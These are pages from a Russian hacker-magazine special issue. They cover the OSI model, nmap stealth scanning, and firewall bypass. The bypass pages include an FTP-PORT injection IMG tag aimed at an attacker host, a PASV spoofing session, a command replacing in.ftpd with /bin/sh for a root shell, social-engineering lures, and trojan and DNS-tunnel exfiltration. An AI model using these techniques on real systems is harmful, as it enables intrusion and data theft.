Протокол IP (Internet Protocol) известен тебе намного лучше, мы уже просто замусолили его в своих выпусках по взлому! Теперь давай разберемся, зачем же он нужен, если есть такой великолепный протокол канального уровня?

Из описания канального уровня ты должен был понять, что на этом уровне могут общаться компьютеры, подключенные к одному шнуру, причем во время передачи один комп на некоторое время занимает весь шнур. То есть чем больше компов, тем больше простои. А теперь представь, что у тебя лежит коаксиальный кабель, потом оптоволокно, потом спутник, потом радиомодем, потом снова оптоволокно. И у каждого стандарта свой способ адресации. По коаксиальному кабелю бегает Ethernet с MAC-адресами, а по оптоволокну - HDLC со своей адресацией. И как же передать из одной сети в другую? Никак! (Есть, конечно. технологии для извращенцев - прим. извращенца.) Канальный уровень этого не умеет, потому что нужен глобальный сетевой адрес - IP-адрес. Его можно присвоить каждому компьютеру в мировой сети, и неважно, на чем он сидит, на модеме или на спутнике.

Еще одна проблема, когда на шнуре, разбитом коммутаторами на сегменты, висит тысяча компьютеров! Если компьютер, с которым нужно связаться, находится в каком-то дальнем сегменте, то придется отправлять инфу во все сегменты. А это значит, что один компьютер снова займет всю сеть на время передачи. Если нужно часто обращаться к дальним компьютерам, начнутся штормы чужих сообщений! Кроме того, есть возможность отправлять сообщения всем станциям (широковещательно), такие сообщения коммутаторы не блокируют. И возникают широковещательные штормы.

Одним словом, при современных объемах передаваемой инфы нужно уменьшать количество компьютеров, висящих на одном шнуре.

Другое дело - маршрутизатор! Он работает на сетевом уровне и умеет прокладывать маршруты, то есть отыскивать в своих таблицах путь к адресату, вместо того чтобы размножать сообщение на всю сеть. Пространство Интернет разбито на сети, то есть у адреса есть сетевая часть. Сначала прокладывается путь к нужной сети, а потом уже на месте отыскивается нужный адресат. На канальном уровне сетевой части нет - считается, что все адресаты сидят в одной сети.

Кроме IP-протокола широкое распространение получил X.25. Этот протокол также охватывает сетевой уровень. Только вместо маршрутизации прокладываются виртуальные каналы во время установки соединения. Глобальный адрес сети X.25 похож на телефонный номер, а маршрутизаторы - на телефонные станции. Вывод такой: существуют сети разного типа, где одни и те же проблемы решаются разными способами. Модель ISO/OSI позволяет описать любую сеть.

Телефонная сеть - сеть с коммутацией каналов, когда АТС соединяют (коммутируют) несколько отрезков провода в одну физическую линию. Однако телефонные сети сейчас активно используют мультиплексоры и пакетную передачу данных.

Сеть FIDO - сеть с коммутацией сообщений. Мы отправляем сообщение, и оно постепенно передается от одного компа к другому, пока не дойдет до адресата.

Назад на стр. 024-012-2  Содержание  Вперед на стр. 024-012-4


 

Хакер №024. Спецвыпуск


ISO/OSI - СЕМЬ УРОВНЕЙ в мозгу телекоммуникатора,

ИЛИ

Спецвыпуск Xakep, номер #024, стр. 024-012-4

Сеть Internet - сеть с маршрутизацией пакетов. Очень похоже на FIDO, только сеть работает в режиме ONLINE, а не OFFLINE. Хотя e-mail действует почти так же, как FIDO.

Сеть X.25 - сеть с коммутацией виртуальных каналов. Такая сеть обладает высокими надежностью и безопасностью, поэтому используется в банковских технологиях.

Настоящему хакеру полезно знать, что, кроме Интернет, существует много других сетей. Ведь взломы происходят не только через Интернет.

Этот номер посвящен обходу интернетовских файрволлов. Поэтому важно знать, что простейший файрволл работает именно на сетевом уровне. Фильтр пакетов анализирует заголовки сетевых пакетов, достает оттуда IP-адреса, проверяет контрольную сумму и делает другие операции сетевого уровня. Обидно, но за время жизни Интернета файрволлы сильно мутировали и научились работать на других уровнях модели ISO/OSI, это усложняет хакерам работу.

Транспортный уровень

На четвертом уровне ISO/OSI нас ждут новые проблемы. Если помнишь, канальный уровень умел исправлять ошибки и запрашивать повторы. То есть по шнуру инфа проходит надежно и без ошибок. Только вдруг она потеряется где-нибудь между сетями, вдруг она исказится при переходе из одной сети в другую?

Одним словом, нам нужно снова проверять ошибки и запрашивать повторы, после того как информация прошла через несколько сетей. Для этого и нужен протокол TCP/IP, отвечающий за доставку (Transmission Control Protocol).

Как ты уже знаешь, заголовок TCP/IP имеет не только адрес, но и порт. Порт позволяет обратиться к определенной программе на машине. В сети Интернет протоколы верхних уровней лазают по определенным портам TCP/IP, поэтому в файрволлах появилась возможность анализировать и перекрывать трафик по определенным портам. Один из способов обхода файрволла - редирект портов, когда хакер переназначает нужные ему службы на открытые порты.

Транспортные протоколы имеют массу интересных функций, поэтому позволяют хакеру массу вещей. Например, TCP/IP позволяет производить несколько типов DOS атак, которые приводят к повисанию компьютера. Транспортные функции протокола NetBIOS позволяют негоднику получить доступ к чужому диску и украсть важные файлы. Если порыться в реализации транспортных протоколов, всегда можно найти дырочку, уж больно они сложные.

Сеансовый уровень

Этот уровень отвечает за установление соединения между приложениями на сервере и на компьютере. В обычных TCP/IP сетях нет специальных протоколов этого уровня. Просто это не нужно, так как TCP уже установил сеанс. Все функции сеансового уровня впитали в себя протоколы прикладного уровня. Например, протокол FTP позволяет установить сеанс связи с файловым сервером. Авторизация FTP происходит именно на сеансовом уровне.

Другое дело - беспроводные протоколы, такие как WAP (Wireless Access Protocol). Этот один из протоколов, используемый для доступа в Интернет с мобильного телефона. В WAP входит специальный протокол установки сессии WSP (Wireless Session Protocol). Заодно на этом уровне происходит шифрование сообщения. При обычном доступе в Интернет ты открываешь для каждой службы свою транспортную сессию TCP/IP (порт). На мобильном телефоне транспортная сессия одна, и уже поверх нее софт телефона связывается с сервером. Этот уровень позволяет подключить к Интернет даже такой нестандартный софт, как телефонный браузер.

Назад на стр. 024-012-3  Содержание  Вперед на стр. 024-012-5


 

Хакер №024. Спецвыпуск


ISO/OSI - СЕМЬ УРОВНЕЙ в мозгу телекоммуникатора,

ИЛИ

Спецвыпуск Xakep, номер #024, стр. 024-012-5

Потребность в сеансовом уровне возникает всегда, когда нужно как-то нестандартно подключиться к Интернет. Например, в том случае, когда ты запросы посылаешь по модему, а ответы принимаешь через спутниковую тарелку.

Если необходимо установить шифрованный сеанс связи между приложениями, также выручает сеансовый уровень. Пример такого специализированного протокола сеансового уровня для защиты соединения - протокол SSL (Secure Socket Level - Уровень Безопасности Сокета). Он позволяет защитить весь стек протоколов прикладного уровня перед тем, как они отправятся в сокет.

Также сеансовый уровень спасает любителей закачки с Интернет многомегабайтных файлов с порномультиками по модему. Средствами сеансового уровня можно запоминать контрольные точки и после разрыва соединения возобновлять закачку не заново, а с контрольной точки.

Представительский уровень

Уровень представления данных позволяет прочитать текст на машинах с разной кодировкой. Позволяет распознать структуру каталогов на удаленной операционной системе. Одним словом, это нужно, чтобы китайский выглядел китайским независимо от того, на каком компьютере ты его смотришь. К сожалению, так не получается, и все еще очень часто мы сталкиваемся с глюками кодировок.

В идеале этот уровень должен распознавать данные любого стандартного формата и конвертировать их в тот вид, который понимает локальная машина.

В стандарте ISO/OSI именно этот уровень должен отвечать за шифрование данных, однако в случае с SSL эту функцию выполняет сеансовый уровень.

Прикладной уровень

На этом уровне живут специализированные протоколы каждой службы. Например: HTTP для загрузки страничек веб-браузерами, FTP для удаленного взаимодействия с файловой системой, SMTP и POP3 для отправки и получения мыла, Telnet для получения доступа к командной строке удаленного сервера. Сколько приложений - столько прикладных протоколов. Однако в сетях TCP/IP прикладные протоколы включают в себя функции представительского и сеансового уровней. Поэтому в сети TCP/IP три уровня (прикладной, представительский, сеансовый) объединяют в один и называют прикладным.

Как использовать ISO/OSI

Как ты уже понял, все эти протоколы вкладываются один в другой, как матрешка. Например, HTTP инкапсулируется в TCP, TCP в IP, IP в Ethernet. Ethernet кадр преобразуется в электрический сигнал и передается по кабелю, а на другом конце все распаковывается в обратной последовательности.

Как ты заметил, далеко не все протоколы точно соответствуют определенным уровням модели OSI. Это и не нужно, главное - они умеют инкапсулироваться (упаковываться) друг в друга.

Модель ISO/OSI позволяет объединить все сети мира в одну. Ведь в IP можно инкапсулировать X.25. А в X.25 можно инкапсулировать IP. То есть мы можем инкапсулировать все что угодно во все что угодно, практически на любом уровне OSI. Это называется туннелированием, то есть в сети X.25 мы прокладываем IP-туннель. Или внутри сети IP мы прокладываем телефонный туннель - IP-телефонии. Или внутри телефонной сети мы прокладываем туннель V.90 модемного соединения, который несет в себе IP-трафик.

Назад на стр. 024-012-4  Содержание  Вперед на стр. 024-012-6


 

Хакер №024. Спецвыпуск


ISO/OSI - СЕМЬ УРОВНЕЙ в мозгу телекоммуникатора,

ИЛИ

Спецвыпуск Xakep, номер #024, стр. 024-012-6

Штука эта очень полезная, а хакеры, как всегда, используют ее во вред. Например, для обхода файрволла, на котором закрыто все, кроме почты, через почтовый протокол SMTP можно проложить туннель IP и сидеть в Интернете на халяву.

К современным файрволлам администраторы прикручивают анализаторы пакетов, которые, кроме сетевых и транспортных пакетов, тормошат пакеты прикладного уровня, пытаясь найти скрытые туннели, вирусы, порнографию.

Однако против хитрого хакера, который знает много протоколов и хорошо представляет их взаимодействие в виде модели ISO/OSI, бороться практически бесполезно. Хакер всегда выиграет, воспользовавшись тонкостями реализации очередного протокола!

Назад на стр. 024-012-5  Содержание


 

Хакер №024. Спецвыпуск


РАЗВЕДКА-слушаем стену nmap'ом

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-016-1

ВВЕДЕНИЕ

Бесконечное богатство полезной информации хранится за корпоративными и иными фаерволлами, во внутренних и домашних сетях, на серверах, рабочих станциях и просто домашних компьютерах. Но если у этих компьютеров есть доступ во внешний мир, значит, и у внешнего мира есть доступ к ним, а частенько и к хранящейся там информации (ну, хоть ты наизнанку вывернись!). Кому-то эта статья может показаться наивной, но я надеюсь, что для кого-то она все же окажется полезной и откроет глаза как на несовершенство используемых программ, так и на несовершенные конфиги и забытые дефолтные возможности, которые треба вырубать сразу. Грамотная разведка - 50% успеха атаки.

РАЗВЕДКА БОЕМ

Итак, когда ты уже выбрал цель - самое время произвести разведку и выяснить, какие силы нам противопоставляют админы. Если исследуется сеть, то - как она устроена изнутри, какие сервисы имеются в наличии и тому подобную полезную инфу. Обычно самой подробной информацией такого рода обладают... сами админы сети, они же могут помочь получить доступ ко внутренним ресурсам. Но если ты не готов заплатить братве за поимку и раскалывание админа, то есть и более дешевые, хотя и не такие надежные методы :).

NMAP

Тулза NMAP (http://www.insecure.org/nmap) от небезызвестного дяди Fyodor'а поможет нам многое узнать. Это мощный инструмент, который позволит в разных режимах просканировать сети и отдельные хосты, по особенностям ответов сетевого стека исследуемой цели угадать, какая операционка запущена на той стороне. В лучших традициях сетевой общественности nmap раздается в виде исходников, но если тебе неохота заморачиваться с компиляцией, тебе дадут и уже скомпилированные бинари для твоей OS'ки, в том числе и для разных версий WindowZ. Тем, кому не хочется возиться с командной строкой, дадут даже графическую морду.

Самый простой режим использования - это просто запустить nmap и указать ему цель для исследования:

$ nmap 172.17.10.55

Starting nmap V. 3.00 (www.insecure.org/nmap/)

Interesting ports on testbox.sample.ru (172.17.10.55):

(The 1594 ports scanned but not shown below are in state: closed)

Port State Service

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

79/tcp open finger

110/tcp open pop-3

113/tcp open auth

8080/tcp open http-proxy

Nmap run completed -- 1 IP address (1 host up) scanned in 4 seconds

Из приведенного вывода можно узнать, что машинка с таким IP включена и отвечает на сетевые запросы. Также нам дали список портов, на которых кто-то отвечает с предположением, кто бы это мог быть. Если nmap был запущен от обычного непривилегированного пользователя, то он использует так называемый "грязный" TCP скан, после которого в логах на той стороне остаются наши следы:

Sep 21 06:19:14 testbox sshd[2188]: Did not receive identification string from 213.25.7.123

Sep 21 13:37:08 testbox xinetd[976]: START: pop3 pid=2473 from=172.17.10.90

Запущенный от рута или с опцией -sS - nmap выбирает более безопасный режим сканирования, который обычно не оставляет следов в логах, хотя некоторые пакетные фильтры и способны обнаруживать такие попытки. Секрет невидимости сканирования (SYN scan, или half-open scanning) заключается в том, что мы не устанавливаем соединение до конца, для каждого порта высылается пакет на установление соединения (с установленным SYN флагом); в случае, если та сторона отвечает, что порт открыт и соединение может быть установлено (выставлены флаги SYN и ACK), то мы запоминаем этот факт и высылаем пакет, запрашивающий сброс соединения (флаг RST) вместо пакета с подтверждением. Бай, бейби! Если же мы в ответ получаем пакет с отказом, значит, этот порт никем не слушается либо прикрыт фаерволлом, что мы также запоминаем.

Содержание  Вперед на стр. 024-016-2


 

Хакер №024. Спецвыпуск


РАЗВЕДКА-слушаем стену nmap'ом

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-016-2

НЕВИДИМЫЙ, ЕЛОВЫЙ И НУЛЕВЫЙ СКАНЫ

Помимо этого есть еще три типа сканирования: Stealth FIN, Xmas Tree и Null scan, которые включаются, соответственно, как -sF -sX -sN. Эти режимы полезны, чтобы обмануть некоторые фаерволлы и пакетные фильтры, которые обнаруживают предыдущий вид сканирования, следя за приходом SYN пакетов на запрещенные/никем не обслуживаемые порты. Эти режимы посылают пакет с установленным флагом завершения соединения (-sF и -sX) либо вообще без флагов; ответы для открытого и закрытого порта должны различаться, что нам и нужно. К сожалению, в фирме Microsoft, как всегда, креативно подошли к интерпретации сетевых стандартов, и все пакеты такого вида совершенно игнорируются, так что эти опции не применимы для сканирования Windows-тачек.

СКАН ОТ ЧУЖОГО ИМЕНИ

Еще один скрытный вариант сканирования - это так называемый Idle scan, включаемый по опции -sI host или -sI host:port. Вместо host необходимо подставить IP-адрес какого-нибудь сетевого хоста, желательно, чтобы через этот хост проходило как можно меньше траффика в момент сканирования. В случае использования этого режима сканирование выглядит как выполняемое с того самого хоста, который мы указали как параметр к опции -sI, что, несомненно, есть очень гут. Второй плюс такого сканирования в том, что мы видим список открытых портов с точки зрения того хоста, через который выполняется сканирование, так что при аккуратном выборе можно узнать кое-что из того, что владельцы внутренней сети и фаерволла хотели бы скрыть.

Очень сходный результат с предыдущей опцией можно получить, проводя сканирование через ftp-сервер (можно указать с помощью опции -b username:password@server:port), присутствуют все те же плюсы, что и в предыдущем пункте. Единственная проблема заключается в том, что ftp-серверов, поддерживающих "ftp proxy" соединения в Интернете, становится с каждым днем все меньше.

СЛУШАЕМ НЕПИНГУЮЩИХСЯ

По умолчанию nmap сканирует только те тачки, которые отвечают на ping запросы (такой запрос посылается перед сканированием), так как некоторые фаерволлы блокируют такие запросы, этот режим можно отключить с помощью опции -P0.

А ТЕПЕРЬ UDP

Все сказанное выше относилось к сканированию TCP-портов. Nmap также способен сканировать и UDP-порты. Для этого служит опция -sU. Несмотря на то, что обычно самые интересные и дырявые сервисы слушают только TCP-порты, все же существуют сервисы, рассчитанные на UDP. В частности многие RPC-сервисы (включая nfs) в Solaris известны своей дырявостью. Также, если повезет, можно найти установленный и готовый к работе бекдор BackOrifice от cDc или еще что-нибудь подобное. К сожалению, одним из недостатков UDP-сканирования является его низкая скорость, так как многие операционки искусственно ограничивают количество отказов в соединении по закрытым UDP-портам. Например, Linux по умолчанию дает не более восьмидесяти отрицательных ответов за четыре секунды, Solaris имеет еще более строгий лимит в два отказа в секунду. К счастью, Windows не вводит никаких ограничений на эту тему, так что сканировать UDP-порты в Windows легко, быстро и приятно.

Назад на стр. 024-016-1  Содержание  Вперед на стр. 024-016-3


 

Хакер №024. Спецвыпуск


РАЗВЕДКА-слушаем стену nmap'ом

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-016-3

ЧЕКНЕМ САМУ ОГНЕСТЕНУ

В режиме сканирования -sA можно попытаться получить некоторые сведения о правилах в фаерволле, а также является ли он простым пакетным фильтром либо запоминает состояние всех проходящих через него соединений. Порты, которые обозначены как "filtered", в результатах работы nmap явно закрыты огнестеной.

Еще один режим сканирования, похожий на предыдущий, включается параметром -sW. Помимо определения прикрытых фаерволлом портов он также в некоторых случаях способен определить и открытые порты (работает в случае, если на той стороне тусуются некоторые виды операционок, в частности *BSD, SunOS 4.x).

ГАДАЕМ ИМЕНА

Опция -sR пытается отослать на все открытые порты RPC-команду NULL, и если получает вразумительный ответ - получает от обнаруженного сервиса его имя и версию.

Используя опцию -O, можно попросить nmap угадать, какая версия OS запущена на интересующем нас хосте, а в некоторых случаях также и сколько времени прошло с момента последней перезагрузки. Этот анализ производится на основе ответов OS на специально скомпонованные правильные и неправильные сетевые пакеты. К сожалению, если зло-админ системы менял настройки TCP-стека, такое угадывание становится неэффективным. Для предыдущего примера в самом начале результат угадывания выглядит так:

Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20

Uptime 13.057 days (since Sun Sep 8 13:14:58 2002)

Используя опцию -I, можно выяснить, от какого пользователя запущен тот или иной сетевой сервис. К сожалению, это работает, только если в списке сервисов есть "auth" и выполняется "грязный скан".

МНОГОСТАНОЧИМ

Nmap способен сканировать больше чем один хост за раз. Для этого можно перечислить список IP адресов или хостемов в командной строке. Для сканирования сетей существуют способы указать сразу сеть целиком, например, для сканирования всех хостов, чей адрес начинается на 192.168, можно воспользоваться такими сокращениями: 192.168.0-255.0-255 или '192.168.*.*' или даже 192.168.1-50,51-255.1,2,3,4,5-255. И, конечно же, можно просто указать маску подсети: 192.168.0.0/16. Используя '*', помни, что многие шеллы пытаются подставлять имена файлов, так что не забывай заключать такие конструкции в одинарные кавычки.

Назад на стр. 024-016-2  Содержание


 

Хакер №024. Спецвыпуск


АТАКА проходим сквозь фаерволл

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-018-1

Итак, разведка дала свои результаты, пора проверить на прочность саму огнестену. Ты в курсе, что иногда стену легче обойти, чем стучаться в нее головой и яйцами :)?

АТАКА НА ФАЕРВОЛЛ

В случае, когда фаерволл вынесен на отдельный хост либо используется кисковская или еще какая железка, то можно считать фаерволл одним из самых защищенных хостов сети и не тратить на него время. Совсем другое дело, когда помимо функций фаерволла на компе выполняются другие сервисы. Такое решение можно встретить довольно часто ввиду его дешевизны (жилят деньги пузатые начальнички). Порядок действий в этом случае очевиден - проверяем, ломаются ли какие из торчащих наружу сервисов хотя бы до локального шелла.

ДУРИМ СТЕНКУ ИЗНУТРИ

А имея локальный шелл, уже можно собрать редиректор, который будет переправлять наши пакеты внутрь "защищенной" сети, как будто эти пакеты исходят от самого фаерволла, ну и, само собой, переправлять нам ответы изнутри. Фишка в том, что фаерволл частенько выполняет функции перенаправления пакета внутрь сети, после того как его просмотрит. А если мы сидим внутри фаерволла, то, естественно, имеем его IP'шник, а значит, имеем сетку, расписываясь от имени тачки-фаерволла.

В случае получения рутового акцесса все еще проще, можно изменить настройки фаерволла так, как нам нужно. Стоит также обратить внимание на наличие уже запущенных редиректоров, призванных помогать внутренней сети получать доступ в Инет, но в результате админских глюков не закрытых от доступа снаружи. Нам вполне подойдет открытый socks или https-прокси. Если имеется ftp-сервер, то также можно выяснить кое-что для себя полезное.

ВЫЦЕПЛЯЕМ ВНУТРЕННИЕ АДРЕСА

Для успешного использования редиректора пакетов неплохо бы узнать используемые внутри сети адреса. Не слать же запросы наудачу! Так можно истратить лучшие годы жизни на ожидание. Если ты уже получил локальный шелл, то самое время запустить /sbin/ifconfig, который покажет все работающие сетевые интерфейсы, связанные с ними адреса и сетевые маски. Отбрось тот, через который ты пришел, а также другие внешние каналы (если их больше одного), и все остальное - внутренняя сеть. Самое время ее сканировать.

ЗАСЛАННЫЕ КАЗАЧКИ

Без шелла все не так тривиально, и придется попросить помощи у тех, кто живет внутри. Например, если известно, что внутри защищенной сети кто-то постоянно отвисает в irc, то самое время зайти в ту же irc-сеть и завязать с этим челом разговор. Наша цель в данном случае - чтобы он открыл к нам DCC соединение, будь то DCC-chat или просто файлик, который мы у него попросим. Стоит предвидеть, что чел начнет плакаться на неработу DCC :). Самое время вспомнить про НЛП и свой дар убеждения. Результатом успешной работы будет запрос, выглядящий примерно так:

*** DCC CHAT (chat) request received from green-- [172.17.10.90:40251]

В данном случае 172.17.10.90 - это и есть один из адресов во внутренней сети, по которому можно понять, что, скорее всего, используется сеть 172.17.10.0/24. Естественно, это работает только в том случае, если используемый фаерволл ничего не знает про irc-протокол. Если же в запросе приехал нормальный адрес и DCC нормально работает, то у нас есть три варианта: адрес совпадает с одним из адресов фаервольного компа, чел либо имеет шелл на фаервольном компе и ходит оттуда, либо фаерволл знает про DCC и правильно подменяет адреса в проходящих через него пакетах. Все эти варианты представляют для нас практическую ценность, и их стоит запомнить. Еще один вариант - это использование во внутренней сети обычных IP-адресов, просто прикрытых фаерволлом от доступа снаружи. В таком случае мы также получаем данные об используемых внутри сети адресах.

Содержание  Вперед на стр. 024-018-2


 

Хакер №024. Спецвыпуск


АТАКА проходим сквозь фаерволл

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-018-2

НЕ ИРЦЕМ ЕДИНЫМ...

Даже если в конторе никто не юзает irc, еще не все потеряно - ведь у нас в запасе есть очень богатый возможностями протокол ftp. Можно попытаться заставить кого-то из внутренней сети нажать на ссылку, подобную этой: <a href="ftp://myevilhost.ru:1111/pub/somefile">. В данном случае myevilhost.ru - это комп, на котором у тебя есть возможность запустить сервер на 1111-м порту (либо на любом другом, тогда нужно поправить ссылку). На 1111-м порту нужно запустить модифицированный ftp-сервер, который будет запоминать все PORT-команды. В случае, если клиент не ходит через ftp/http-прокси, - это, наверняка, сработает, и ты увидишь в созданном логе строчки наподобие этой: PORT 1,2,3,4,0,44452. Это значит, что у клиента был адрес 1.2.3.4. Подобную ссылку можно завернуть в письмо, посланное внутрь сети. Но если <a href="..."> ссылка требует ручного нажатия, что не всегда удобно, то <img src="ftp://myevilhost.ru:1111/pub/somefile"> может выполниться и само по себе. Зачем утруждать клиента :)?

ХОД КОНЕМ

Еще одним способом получить множество информации о внутренностях сети является засылка туда трояна, который может не только узнать используемые внутри сети адреса, но также установить туннель с твоим хостом для удобства исследования сети, собрать и отослать нужные файлы и тому подобное. К сожалению, этот способ эффективен, только если широко расплодившиеся в последнее время антивирусы не уничтожат твоего троянца по пути к месту назначения, и к тому же внутри сети трояну удастся запуститься. Мы рассмотрим кое-какие триксы, применяемые в троянах ниже.

ПУБЛИЧНЫЕ СЕРВЕРА В ОДНОЙ СЕТИ С ВНУТРЕННИМИ КОМПАМИ

Не так уж редко можно столкнуться с архитектурой, при которой за фаерволлом сидят сервера и рабочие станции внутри одной сети. При этом часть серверов находится в публичном доступе, и фаерволл пропускает пакеты к этим серверам, а часть серверов и рабочие компы фаерволлом прикрыты и имеют, например, адреса из private address space типа 192.168.0.0/16. В этом случае полностью применимо все сказанное выше относительно сервисов на фаерволле, то есть, сломав один из таких видимых снаружи серверов, получаем полный доступ в локальную сеть. К тому же, сломав один из серверов, можно получить расширенный доступ и к соседним серверам. Мало кто станет закрывать свои сервера друг от друга, и если снаружи зайти на 139-й порт windows-серверов не удастся из-за фаерволла, то сделать это изнутри скорей всего удастся.

Назад на стр. 024-018-1  Содержание  Вперед на стр. 024-018-3


 

Хакер №024. Спецвыпуск


АТАКА проходим сквозь фаерволл

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-018-3

ОБХОДИМ NAT

NAT расшифровывается как Network Address Translation. Общий принцип работы заключается в перехвате пакетов, посланных из внутренней сети фаерволлом и подмене внутренних адресов на внешние, при этом составляется табличка соответствия между парой внешний (подставленный) IP, внешний (подставленный) порт и внутренний (изначальный) IP и порт. Когда на отправленный запрос приходит ответ, по адресу и порту фаерволл выясняет, куда необходимо отправить этот ответ во внутренней сети, еще раз подменяет IP и порт и отправляет пакет внутрь. Такая схема работы не требует специальной настройки клиентских программ и полностью для них прозрачна (то есть клиентам вообще по барабану, есть фаерволл или его нет), а потому очень популярна.

На самом деле такая "прозрачность" легко осуществима только для простых протоколов, которым достаточно одного соединения типа HTTP. С более сложными протоколами, например FTP, все обстоит гораздо сложнее. При работе по FTP-протоколу открывается так называемое управляющее соединение, по этому соединению сервер и клиент обмениваются командами и ответами на команды. Когда необходимо передать файл или другие, не управляющие, данные, открывается еще одно соединение, по которому данные и передаются. Причем открытие соединения осуществляется со стороны сервера на адрес и порт, указанные клиентом. Чтобы такие сложные последовательности работали через NAT, в него обычно встраиваются специальные хелперы для определенных протоколов (обычно протоколы определяются по портам), которые обрабатывают управляющие команды протоколов и подменяют, если это необходимо, адреса не только в пакетах, но и в командах внутри пакетов. Поскольку, согласно протоколу, клиент передает не только адрес для соединения, но и порт, это открывает нам возможность обратиться практически к любым портам машин, находящихся за фаерволлом с включенным NAT и поддержкой active ftp соединений. К примеру, можно послать внутрь такого рода сети письмо, содержащее html тег <IMG SRC="ftp://ftp.myevilhost.ru/aaaaa%0d%0aPORT 1,2,3,4,0,139"> либо убедить юзера из той сети зайти на html-страничку с таким тегом и запустить на ftp.myevilhost.ru специальным образом пропатченный FTP-сервер, который не будет открывать по указанному адресу/порту соединение, а просто запомнит адрес и порт. В таком случае, с точки зрения NAT, клиент посылает такую последовательность контрольных команд:

RETR aaaaa PORT 1,2,3,4,0,139

После необходимой подмены ftp серверу приходит пакет с настоящим IP-адресом и портом, при коннекте на который на самом деле соединение будет установлено со 139-м портом внутреннего компа. Естественно, можно использовать не только 139-й, но и любой другой.

Помимо ftp подобными же свойствами обладают протоколы DCC (в irc), Oracle SQL*Net (версия, использующая раздельные каналы данных), RealAudio/Video (использует дополнительный UDP-канал), H.323 (NеtMeeting и тому подобные).

ЭКТИВ? ПЭССИВ!

Очень похожий глюк можно использовать и против ftp сервера, находящегося за фаерволлом и работающего в passive режиме. В данном случае фаерволл следит за сообщениями сервера в поисках 227-го кода ответа, который выглядит как "227 (1,2,3,4,10,11)", что расшифровывается как положительный ответ на команду PASV для открытия соединения для передачи данных с сервером 1.2.3.4, порт 2571 (10*256+11). Наша задача - заставить ftp-сервер выдать такой ответ, а фаерволл - его принять. Один из способов это проделать - добиться, чтобы переданные нами данные были возвращены сервером (например, как сообщение об ошибке), а 227-й ответ начинался на границе пакета. Тогда с точки зрения фаерволла это будет выглядеть, как вполне нормальный ответ сервера, и доступ по указанному порту будет открыт (само собой, по этому порту будет что-то нам интересное). Для удобства контроля за расположением данных в пакете мы уменьшим MTU на интерфейсе, через который мы посылаем данные до 100 байт. (MTU - максимальный размер пакета, который может передаваться через интерфейс). Вот как это может выглядеть (ftp-сервер находится по адресу 172.16.0.2):

Назад на стр. 024-018-2  Содержание  Вперед на стр. 024-018-4


 

Хакер №024. Спецвыпуск


АТАКА проходим сквозь фаерволл

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-018-4

# /sbin/ifconfig eth0 mtu 100

# nc -vvv 172.16.0.2 21

(UNKNOWN) [172.16.0.2] 21 (?) open

220 sol FTP server (SunOS 5.6) ready.

227 (172,16,0,2,128,7)

500 '

[1]+ Stopped nc -vvv 172.16.0.2 21

В этот момент мы можем соединиться сервером по порту 32775 (128*258+7), в случае, если на той стороне установлен Solaris 2.6, на этом порту сидит дырявый ToolTalk сервис, который мы теперь можем поиметь.

Некоторые реализации фаерволла позволяют передавать данные по такому открытому порту только в одном направлении - к серверу, так что для окончательного успеха нам нужен такой ToolTalk, который выполнит, например, такие операции:

"cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f /usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd".

В результате следующее соединение к этому серверу по 21-му порту даст нам root shell.

ПЕРЕДАЧА ИНФОРМАЦИИ ИЗНУТРИ

Теперь посмотрим, как можно передать инфу изнутри сети, прикрытой фаерволлом. Естественно, для этого нужно иметь помощника - например, трояна или живого человека, готового продать информацию изнутри, но не готового носить внутрь дискетки/винты (например, из-за строгого пропускного режима).

В самом простом случае все исходящие соединения, сделанные с внутренних машин наружу, будут работать. В таком случае информацию можно просто переслать. В случае с трояном - он установит соединение наружу, по которому ему будут передавать команды, что делать дальше, например, установить еще одно соединение и все данные из него перенаправить для выполнения cmd.exe (или другим локальным шеллом, если троян не для windows).

В чуть более сложном случае - исходящие соединения будут разрешены только на определенные порты (например, 80-й - для http); этот случай почти так же тривиален, как и предыдущий. Всего лишь нужно заставить троян соединяться с твоим серваком по 80-му порту. Ну, или человеку передавать данные на 80-й порт. В общем, если из внутренней сети есть доступ в Internet и внутри есть помощник - информацию утаить невозможно.

Назад на стр. 024-018-3  Содержание  Вперед на стр. 024-018-5


 

Хакер №024. Спецвыпуск


АТАКА проходим сквозь фаерволл

GREEN (green@rootshell.ru)

Спецвыпуск Xakep, номер #024, стр. 024-018-5

Рассмотрим один из полупараноидальных случаев - никаких прямых соединений с Интернетом установлено быть не может, доступ в Интернет через запароленный proxy с мониторингом, кто куда ходит и что передает. В таком случае информацию можно передать, например... через DNS! Простейший пример: регистрируется домен mydomain.ru, на обслуживающем его сервере имен устанавливается специальный софт. Стороны договариваются (либо создатель трояна встраивает его в троян) о секретном протоколе обмена, например, запрос к aN.mydomain.ru означает единицу, а к bN.mydomain.ru означает ноль, передаваемый со стороны внутренней сети. N - любое число (чтобы не получать ответы из кеша - число меняется каждый раз). Запрос на zN.mydomain.ru служит для получения информации от внешнего хоста. Информация передается, например, как один из двух IP-адресов.

Указанная схема довольно примитивна. Чуваки из dereference написали полноценный туннель, который будет работать в случае, если единственный доступный Internet сервис - это DNS. Их тулза предназначена, в основном, для получения халявного Инета через демо-аккаунты буржуйских ISP (само собой, где-то в Инете нужно иметь и сервер со вторым концом туннеля). Скачать исходники тулзы можно с http://nstx.dereference.de/. Удачи тебе в спортивной ловле халявы!

Назад на стр. 024-018-4  Содержание


 

Хакер №024. Спецвыпуск


NIX-ПРЕДОХРАНИЛОВО

вся правда об ipchains

Спецвыпуск Xakep, номер #024, стр. 024-022-1

Tony (tony@nifti.unn.ru), ICQ: 165066287

Что, дружище, пропало желание? Заплати налоги и живи спокойно. К несчастью, если тебя задолбали стада отморозков, в изобилии пасущихся на просторах Интернета и желающих поиметь тебя и твой Инет, то этот трюк с налогами не пройдет, и тебе пора ставить и конфигурировать firewall. Для любителей покувыркаться с фонетикой есть другое название - брандмауэр, а твой преподаватель информатики называет его межсетевым экраном.

